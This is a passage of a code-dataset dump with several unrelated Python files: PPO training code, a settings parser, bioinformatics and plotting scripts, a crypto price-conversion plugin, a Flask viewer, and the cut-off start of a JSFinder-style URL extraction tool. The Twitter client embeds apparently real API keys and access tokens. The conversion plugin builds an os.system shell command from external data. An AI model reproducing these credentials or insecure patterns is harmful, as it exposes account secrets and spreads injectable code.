rewards.insert(0, discounted_reward)\n                \n        # Normalizing the rewards\n        rewards = torch.tensor(rewards, dtype=torch.float32).to(device)\n#         rewards = (rewards - rewards.mean()) / (rewards.std() + 1e-7)\n        rewards = rewards.unsqueeze(1)\n        \n        self.rewards = rewards\n        \n        # convert list to tensor\n        old_states = torch.squeeze(torch.stack(self.buffer.states, dim=0)).detach().to(device)\n        old_actions = torch.squeeze(torch.stack(self.buffer.actions, dim=0)).detach().to(device)\n        old_logprobs = torch.squeeze(torch.stack(self.buffer.logprobs, dim=0)).detach().to(device)\n        batch_size = 512\n        train_dataset = store_dataset(old_states, old_actions, old_logprobs, rewards)\n        dataloader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True)\n\n        # Optimize policy for K epochs\n        for epochs in range(self.K_epochs):\n            for batch,(old_states_b,old_actions_b,old_logprobs_b,rewards_b) in enumerate(dataloader):\n                self.optimizer.zero_grad()\n                \n                # Evaluating old actions and values\n                logprob, state_value, dist_entropy, _, _ = self.policy.evaluate(old_states_b, old_actions_b)\n                \n                # Finding the ratio (pi_theta / pi_theta__old)\n                ratios = torch.exp(logprob - old_logprobs_b.detach())\n\n                # Finding Surrogate Loss\n                advantages = rewards_b - state_value.detach()\n                surr1 = ratios * advantages\n                surr2 = torch.clamp(ratios, 1-self.eps_clip, 1+self.eps_clip) * advantages\n\n                # final loss of clipped objective PPO\n                actor_loss = -torch.min(surr1, surr2).mean() - self.entropy_beta * dist_entropy.mean()\n                critic_loss = 0.5*self.MseLoss(torch.squeeze(state_value), torch.squeeze(rewards_b))\n                # take gradient step\n                loss = actor_loss + critic_loss\n                loss.backward()\n                self.optimizer.step()\n                self.actor_loss_record.append(actor_loss.cpu().detach().item())\n                self.critic_loss_record.append(critic_loss.cpu().detach().item())\n\n        self.old_policy.load_state_dict(self.policy.state_dict())\n\n    def aux_update(self):\n        # aux buffer需要states, advantages, critic输出的values\n        old_states = torch.squeeze(torch.stack(self.buffer.states, dim=0)).detach().to(device)\n        old_actions = torch.squeeze(torch.stack(self.buffer.actions, dim=0)).detach().to(device)\n        old_logprobs, _, _, _, _ = self.old_policy.evaluate(old_states, old_actions)\n        batch_size = 512\n        train_dataset = store_dataset(old_states, old_actions, old_logprobs, self.rewards)\n        dataloader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True)\n        for _ in range(self.aux_epochs):\n            for batch,(old_states_b,old_actions_b,old_logprobs_b,rewards_b) in enumerate(dataloader):\n                self.optimizer.zero_grad()\n\n                # Evaluating old actions and values\n                logprob, state_values, _, action_probs, policy_values = self.policy.evaluate(old_states_b, old_actions_b)\n\n                aux_v_loss = self.aux_beta * self.MseLoss(torch.squeeze(policy_values), torch.squeeze(rewards_b))\n                kl_loss = self.KL_Loss(logprob, old_logprobs_b.detach())\n                aux_actor_loss = aux_v_loss + kl_loss\n                aux_critic_loss = 0.5 * self.MseLoss(torch.squeeze(state_values), torch.squeeze(rewards_b))\n                aux_loss = aux_actor_loss + aux_critic_loss\n\n                aux_loss.backward()\n                self.optimizer.step()\n                self.actor_loss_record.append(aux_actor_loss.cpu().detach().item())\n                self.critic_loss_record.append(aux_critic_loss.cpu().detach().item())\n        \n\n    \n    def save(self, checkpoint_path):\n        torch.save(self.policy.state_dict(), checkpoint_path)\n   \n    def load(self, checkpoint_path):\n        self.old_policy.load_state_dict(torch.load(checkpoint_path, map_location=lambda storage, loc: storage),strict=False)\n        self.policy.load_state_dict(torch.load(checkpoint_path, map_location=lambda storage, loc: storage),strict=False)\n", "repo_name": "hch211/TX_DRL", "sub_path": "model_train/ppo/utils/model_ppg.py", "file_name": "model_ppg.py", "file_ext": "py", "file_size_in_byte": 11651, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.device", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 34, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 38, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 42, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 43, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 46, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 47, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.concat", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.concat", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.distributions.Categorical", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.distributions.Categorical", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.utils.data.Dataset", "line_number": 126, "usage_type": "name"}, {"api_name": "utils.replaybuffer.RolloutBuffer", "line_number": 156, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 162, "usage_type": "name"}, {"api_name": "torch.nn.KLDivLoss", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 163, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 182, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 201, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 201, "usage_type": "attribute"}, {"api_name": "torch.squeeze", "line_number": 208, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 208, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 210, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 210, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 213, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 224, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 229, "usage_type": "call"}, {"api_name": "torch.min", "line_number": 232, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 233, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 245, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 245, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 246, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 246, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 250, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 258, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 261, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 272, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 275, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 276, "usage_type": "call"}]}
{"seq_id": "5728669216", "text": "import os\nimport logging\n\nimport yaml\nfrom mako.template import Template\nfrom zope.interface import implementer\nfrom zope.component import IFactory\n\nfrom .volumes import Volume\nfrom .interfaces import ISetting\n\n_logger = logging.getLogger(__name__)\n\n\n@implementer(ISetting)\nclass VolumeSetting(dict):\n    def __init__(self, *args, **kwds):\n        super(VolumeSetting, self).__init__(*args, **kwds)\n        self.project_name = None  # docker-compose project\n        self.name = None\n        self.dry_run = False\n\n    def get_volume_name(self, name):\n        if name not in self:\n            raise KeyError(name)\n        return '{}_{}'.format(self.project_name, name)\n\n    def set_name(self, name):\n        self.name = name\n\n    def set_dry_run(self):\n        self.dry_run = True\n\n\n@implementer(IFactory)\nclass VolumeSettingParser(object):\n    def __init__(self, env, path, project_name=''):\n        self.env = env\n        self.path = path\n        self.project_name = project_name\n\n    def __call__(self, env=None, path=None, project_name=None):\n        env = self.env if env is None else env\n        path = self.path if path is None else path\n        project_name = self.project_name \\\n            if project_name is None else project_name\n\n        kwds = dict(os.environ)\n        kwds['here'] = os.path.abspath(os.path.dirname(path))\n\n        tmpl = Template(filename=path)\n        data = yaml.load(tmpl.render(**kwds))\n\n        setting = VolumeSetting()\n        setting.set_name(env)\n        setting.project_name = project_name\n        for volume_name, volume_data in data['volumes'].items():\n            volume = Volume(**volume_data)\n            setting[volume_name] = volume\n        return setting\n", "repo_name": "TakesxiSximada/syaml", "sub_path": "src/syaml/settings.py", "file_name": "settings.py", "file_ext": "py", "file_size_in_byte": 1703, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "zope.interface.implementer", "line_number": 15, "usage_type": "call"}, {"api_name": "interfaces.ISetting", "line_number": 15, "usage_type": "argument"}, {"api_name": "os.environ", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 49, "usage_type": "call"}, {"api_name": "mako.template.Template", "line_number": 51, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 52, "usage_type": "call"}, {"api_name": "volumes.Volume", "line_number": 58, "usage_type": "call"}, {"api_name": "zope.interface.implementer", "line_number": 35, "usage_type": "call"}, {"api_name": "zope.component.IFactory", "line_number": 35, "usage_type": "argument"}]}
{"seq_id": "8281600272", "text": "###########################################\n# Assessing the number of reads that \n# were filtered out from the host-filtering\n# step from bowtie2\n###########################################\n\n#imports\nimport os\nfrom Bio import SeqIO\nimport gzip\nfrom collections import defaultdict\n\n\n#Path to raw reads\npath_raw = '/Volumes/UUI/reads/'\n\n#Path to filtered reads\npath_filtered = '/Volumes/UUI/host_filtered/'\n\n#Functions\ndef getSeqNum(path):\n\t'''Read in the sequence files and return\n\t   a dictionary:\n\t    - keys = file name\n\t    - values = number of sequences '''\n\tcounts = defaultdict(int)\n\tfor file in os.listdir(path):\n\t\tif file != 'hide':\n\t\t\tfile_path = path + file\n\t\t\tsequences = 0\n\t\t\tfor record in SeqIO.parse(gzip.open(file_path, 'rt', encoding='utf-8'),\"fastq\"):\n\t\t\t\tsequences += 1\n\t\t\tcounts[file] = sequences\n\treturn counts\n\n\n\n#Read in the raw sequences\nraw_counts = getSeqNum(path_raw)\n\n#Read in the filtered sequences\nfiltered_counts = getSeqNum(path_filtered)\n\n\n#output the filtering statistics\nwith open('filtering_stats.csv') as fn:\n\tfn.write(\"Raw Sequences\\tcounts\\n\")\n\tfor key, value in raw_counts.items():\n\t\tfn.write(key + '\\t' + str(value) + '\\n')\n\n\tfn.write(\"\\t\\tFiltered Sequences\\tcounts\\n\")\n\tfor key, value in filtered_counts.items():\n\t\tfn.write(\"\\t\\t\" + key + '\\t' + str(value) + '\\n')\n\n", "repo_name": "Kobie-Kirven/zebrafishGutMicrobiome", "sub_path": "qualityFiltering/filtering_stats.py", "file_name": "filtering_stats.py", "file_ext": "py", "file_size_in_byte": 1308, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.defaultdict", "line_number": 26, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 27, "usage_type": "call"}, {"api_name": "Bio.SeqIO.parse", "line_number": 31, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 31, "usage_type": "name"}, {"api_name": "gzip.open", "line_number": 31, "usage_type": "call"}]}
{"seq_id": "934769109", "text": "import numpy as np\nfrom tqdm import tqdm\nfrom matplotlib import pyplot as plt\nfrom sklearn.metrics import confusion_matrix\n\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom goddataset import *\nfrom godmodel import *\n\nclasses = ['God','Goddess']\n\ndef confusionMatrix(model_path, mode):\n    model = GodModelPretrained(hidden_dim=128)\n    model.load_state_dict(torch.load(model_path))\n    model.eval()\n    model = model.cuda()\n    with torch.no_grad():\n        dataset   = GodDataset(mode=mode)\n        dataloader = DataLoader(dataset, batch_size=1, shuffle=True, \n                                pin_memory=True, num_workers=2*os.cpu_count())\n        targets = torch.Tensor().type(torch.long)\n        predicts = torch.Tensor().type(torch.long).cuda()\n        for data in tqdm(dataloader, desc='Validation'):\n            input, target = data[0].cuda(), data[1]\n            targets = torch.cat((targets, target))\n            output = model(input) \n            _, predicted = torch.max(output, 1)\n            predicts = torch.cat((predicts, predicted))\n        \n        targets  = targets.numpy()\n        predicts = predicts.cpu().numpy()\n        c_matrix = confusion_matrix(targets, predicts, normalize='true',\n                                    labels=[i for i in range(len(classes))])    \n        return c_matrix\n    \ndef format_func(value, tick_number):\n    if value >= 0 and value < 2:\n        return classes[value.astype(np.int)]\n\n\n\nif __name__ == \"__main__\":\n    start_time = time.time()\n    mode = 'test'\n    path = 'model_save/0_best.pth'\n\n    c_matrix = confusionMatrix(model_path=path, mode=mode)\n    figure = plt.figure()\n    axes = figure.add_subplot(111)\n    axes.matshow(c_matrix)\n    axes.set_title(f'Confusion Matrix: {mode} set')\n    axes.set(xlabel = 'Predicted',ylabel = 'Truth')\n    axes.set_xticks(np.arange(0, len(classes)))\n    axes.set_yticks(np.arange(0, len(classes)))\n    caxes = axes.matshow(c_matrix, interpolation ='nearest') \n    figure.colorbar(caxes)\n    axes.xaxis.set_major_formatter(plt.FuncFormatter(format_func))\n    axes.yaxis.set_major_formatter(plt.FuncFormatter(format_func))\n\n    for row_i, row in enumerate(c_matrix):\n        for col_i, col in enumerate(row):\n            axes.text(col_i,row_i,f'{col:.2f}',color='red')\n    plt.show()", "repo_name": "RicoSuaveGuapo/pytorch_tutorial", "sub_path": "godeval.py", "file_name": "godeval.py", "file_ext": "py", "file_size_in_byte": 2285, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.load", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 23, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 40, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.FuncFormatter", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.FuncFormatter", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}]}
{"seq_id": "70621201864", "text": "import sys\nfrom tweepy import API\nfrom tweepy import OAuthHandler\n\ndef get_twitter_auth():\n    try:\n\n\n\n        consumer_key = \"yM04BiPisVVT1kdlWXHYyXOjM\"\n        consumer_secret = \"gWjUj2JzVXp4n7EUHB8Yh7C1RwJkswM3DxLHk4HYdzMfUHiuwX\"\n        access_token = \"736688330763567104-jfV3sNhYONIdZYpbVY16WpQ39gh9CkI\"\n        access_secret = \"CS9d81JV0paL3ToXaufb9Z583I2yx0MuGIfMTY6Hw97A1\"\n    except KeyError:\n        sys.stderr.write(\"TWITTER_* environment variables not set\\n\")\n        sys.exit(1)\n    auth = OAuthHandler(consumer_key, consumer_secret)\n    auth.set_access_token(access_token, access_secret)\n    return auth\n\ndef get_twitter_client():\n    auth = get_twitter_auth()\n    client = API(auth)\n    return client", "repo_name": "Jlai21321/FaceOff-Polarzing-Opinions-on-use-of-Masks-", "sub_path": "client1.py", "file_name": "client1.py", "file_ext": "py", "file_size_in_byte": 715, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.stderr.write", "line_number": 15, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 16, "usage_type": "call"}, {"api_name": "tweepy.OAuthHandler", "line_number": 17, "usage_type": "call"}, {"api_name": "tweepy.API", "line_number": 23, "usage_type": "call"}]}
{"seq_id": "22189201469", "text": "from skimage.segmentation import slic\nfrom .base import Algorithm\n\n\nclass Slic(Algorithm):\n    \"\"\"Segments image using k-means clustering in Color-(x,y,z) space.\n    Important Parameters\n    ----------\n    image : 2D, 3D or 4D ndarray\n        Input image, which can be 2D or 3D, and grayscale or multichannel\n        (see `multichannel` parameter).\n    n_segments : int, optional\n        The (approximate) number of labels in the segmented output image.\n    compactness : float, optional\n        Balances color proximity and space proximity. Higher values give\n        more weight to space proximity, making superpixel shapes more\n        square/cubic. In SLICO mode, this is the initial compactness.\n        This parameter depends strongly on image contrast and on the\n        shapes of objects in the image. We recommend exploring possible\n        values on a log scale, e.g., 0.01, 0.1, 1, 10, 100, before\n        refining around a chosen value.\n    sigma : float or (3,) array-like of floats, optional\n        Width of Gaussian smoothing kernel for pre-processing for each\n        dimension of the image. The same sigma is applied to each dimension in\n        case of a scalar value. Zero means no smoothing.\n        Note, that `sigma` is automatically scaled if it is scalar and a\n        manual voxel spacing is provided (see Notes section).\n    \"\"\"\n\n    DEFAULT= {\n        \"n_segments\": 100,\n        \"compactness\": 1.0,\n        \"sigma\": 0,\n        \"min_size_factor\": 0.001,\n    }\n\n    CONFIG = {\n        \"n_segments\": [50, 100, 200, 400],\n        \"compactness\": [0.01, 0.1, 1.0, 5.0, 10.0],\n        \"sigma\": [0, 0.5, 1.0, 2.0],\n        \"min_size_factor\": [0.5, 0.1, 0.01, 0.001]\n    }\n\n    def run(self, **kwargs):\n        return slic(self.image, **kwargs)\n", "repo_name": "Adrian-St/whiteboard-text-recognition", "sub_path": "algorithms/slic.py", "file_name": "slic.py", "file_ext": "py", "file_size_in_byte": 1764, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "base.Algorithm", "line_number": 5, "usage_type": "name"}, {"api_name": "skimage.segmentation.slic", "line_number": 45, "usage_type": "call"}]}
{"seq_id": "28884178455", "text": "# -*- coding: utf-8 -*-\n\nimport coinmarketcapapi\nimport json\nimport os\nimport re\nfrom wox import Wox\nfrom wox import WoxAPI\n\nAPI_KEY = json.load(open(\"config.json\"))[\"CMC_API_KEY\"]\ncmc = coinmarketcapapi.CoinMarketCapAPI(API_KEY)\n\nconvertPattern = re.compile(r'(\\b\\d[\\d,.]*)\\s?([a-zA-Z]+)\\s?to\\s?([a-zA-Z]+)')\nconvertPattern1 = re.compile(r'(\\b\\d[\\d,.]*)\\s?([a-zA-Z]+)')\n\ndef extract_sentence(string):\n    match = convertPattern.match(string)\n    if (match == None):\n        match = convertPattern1.match(string)\n        if (match == None):\n            exit()\n        amount, fromCoin = match.groups()\n        return amount.replace(\",\",\"\"), fromCoin, \"USD\"\n    else:\n        amount, fromCoin, toCoin = match.groups()\n        return amount.replace(\",\",\"\"), fromCoin, toCoin\n\ndef convert(fromCoin, toCoin, amount):\n    fromCoin = fromCoin.upper()\n    toCoin = toCoin.upper()\n    tool=cmc.tools_priceconversion(amount=amount, symbol=fromCoin, convert=toCoin)\n    cmcResponse = tool.data\n    responseString = str(cmcResponse[\"amount\"]) + \" \" + cmcResponse[\"symbol\"] + \" to \" + toCoin + \" is \" + str(cmcResponse[\"quote\"][toCoin][\"price\"])\n    amount = str(cmcResponse[\"quote\"][toCoin][\"price\"])\n    return amount, responseString\n\ndef process_crypto_convert(string):\n    amount, fromCoin, toCoin = extract_sentence(string)\n    return convert(fromCoin, toCoin, amount)\n\ndef copy2clip(txt):\n    command = 'echo ' + txt.strip() + '| clip'\n    os.system(command)\n\nclass HelloWorld(Wox):\n    # query is default function to receive realtime keystrokes from wox launcher\n    def query(self, query):\n        amount, responseString = process_crypto_convert(query)\n        results = []\n        results.append({\n            \"Title\": str(amount),\n            \"SubTitle\": \"{}\".format(responseString),\n            \"IcoPath\":\"Images/app.png\",\n            \"ContextData\": \"ctxData\",\n            \"JsonRPCAction\": {\n                'method': 'take_action',\n                'parameters': [\"{}\".format(amount)],\n                'dontHideAfterAction': False\n            }\n        })\n        return results\n\n    # context_menu is default function called for ContextData where `data = ctxData`\n    def context_menu(self, data):\n        results = []\n        results.append({\n            \"Title\": \"Context menu entry\",\n            \"SubTitle\": \"Data: {}\".format(data),\n            \"IcoPath\":\"Images/app.png\"\n        })\n        return results\n\n    def take_action(self, amount):\n        # Choose what to trigger on pressing enter on the result.\n        # use SomeArgument to do something with data sent by parameters.\n        # WoxAPI.(\"title\", \"sub_title\")\n        # WoxAPI.change_query(amount)\n        copy2clip(str(amount))\n        return None\n\nif __name__ == \"__main__\":\n    HelloWorld()\n\ndef test():\n    amount, responseString = process_crypto_convert(\"500USD to NZD\")\n    print(amount, responseString)\n", "repo_name": "LindaBot/Wox-currency-converter", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2874, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.load", "line_number": 10, "usage_type": "call"}, {"api_name": "coinmarketcapapi.CoinMarketCapAPI", "line_number": 11, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 13, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 14, "usage_type": "call"}, {"api_name": "os.system", "line_number": 43, "usage_type": "call"}, {"api_name": "wox.Wox", "line_number": 45, "usage_type": "name"}]}
{"seq_id": "19013363258", "text": "from collections import defaultdict\n\nclass Solution:\n    def slidingWindow(self, s, w, maxLetters):\n        print(w)\n        count = [0] * 256\n        num = 0\n        for i in range(len(s)):\n            c = s[i]\n            if count[ord(c)] == 0:\n                count[ord(c)] += 1\n                num += 1\n            else:\n                count[ord(c)] += 1\n            if i >= w-1:\n                if num <= maxLetters:\n                    self.d[s[i-w+1:i+1]] += 1\n                c = s[i-w+1]\n                count[ord(c)] -= 1\n                if count[ord(c)] == 0:\n                    num -= 1\n    \n    def maxFreq(self, s: str, maxLetters: int, minSize: int, maxSize: int) -> int:\n        self.d = defaultdict(int)\n        self.d['#'] = 0\n        for w in range(minSize, minSize+1):\n            self.slidingWindow(s, w, maxLetters)\n        print(self.d)\n        return max(self.d.values())\n", "repo_name": "ChanchalKumarMaji/LeetCode", "sub_path": "1297. Maximum Number of Occurrences of a Substring/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 898, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.defaultdict", "line_number": 24, "usage_type": "call"}]}
{"seq_id": "2372385811", "text": "import argparse\nimport flask\nfrom flask import Flask, render_template\nfrom flask_bootstrap import Bootstrap\nimport os\n\n\napp = Flask(__name__)\nBootstrap(app)\n\ndef load_gif_list():\n    gif_list = [l.strip() for l in open('synth_proposals_v1.lst').readlines()]\n\n    display_list = list()\n    for i in range(0, 100, 4):\n        display_list.append(gif_list[i:i+4])\n\n    print(display_list)\n\n    return display_list\n\n@app.route('/view', methods=['GET', 'POST'])\ndef view():\n    gif_list = load_gif_list()\n    return render_template('view.html', gif_list=gif_list)\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--ip', type=str, default='0.0.0.0', help='Server IP')\n    parser.add_argument('--port', type=int, default=5000, help='Server port')\n    args = parser.parse_args()\n\n    app.run(debug=True, host=args.ip, port=args.port)", "repo_name": "salmedina/GifViewer", "sub_path": "app/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 868, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "flask_bootstrap.Bootstrap", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 25, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "10779805877", "text": "#!/usr/bin/env python\"\n# coding: utf-8\n# By Tptfb11\n# http://tpt11fb.top/Tptfb11\n\nimport argparse\nimport concurrent.futures\nimport sys\nimport urllib3\nimport JSfinder\n\ndef parse_args():\n    parser = argparse.ArgumentParser(epilog='\\tExample: \\r\\npython ' + sys.argv[0] + \" -u http://www.baidu.com\")\n    parser.add_argument(\"-u\", \"--url\", help=\"The website\")\n    parser.add_argument(\"-c\", \"--cookie\", help=\"The website cookie\")\n    parser.add_argument(\"-f\", \"--file\", help=\"The file contains url or js\")\n    parser.add_argument(\"-ou\", \"--outputurl\", help=\"Output file name. \")\n    parser.add_argument(\"-os\", \"--outputsubdomain\", help=\"Output file name. \")\n    parser.add_argument(\"-j\", \"--js\", help=\"Find in js file\", action=\"store_true\")\n    parser.add_argument(\"-d\", \"--deep\",help=\"Deep find\", action=\"store_true\")\n    parser.add_argument(\"-html\", \"--html_thread\",type=int,help=\"The number of threads for exporting HTML reports. The default is 5\")\n    return parser.parse_args()\n\n# 请求线程池\ndef thread_pool_askUrl(relative,urls):\n    with concurrent.futures.ThreadPoolExecutor() as pool:\n        htmls = pool.map(relative.Extract_html, urls)\n        htmls = list(zip(urls, htmls))\n        # 取出元素\n        # for url, html in htmls:\n        #     print(url, len(html))\n        # 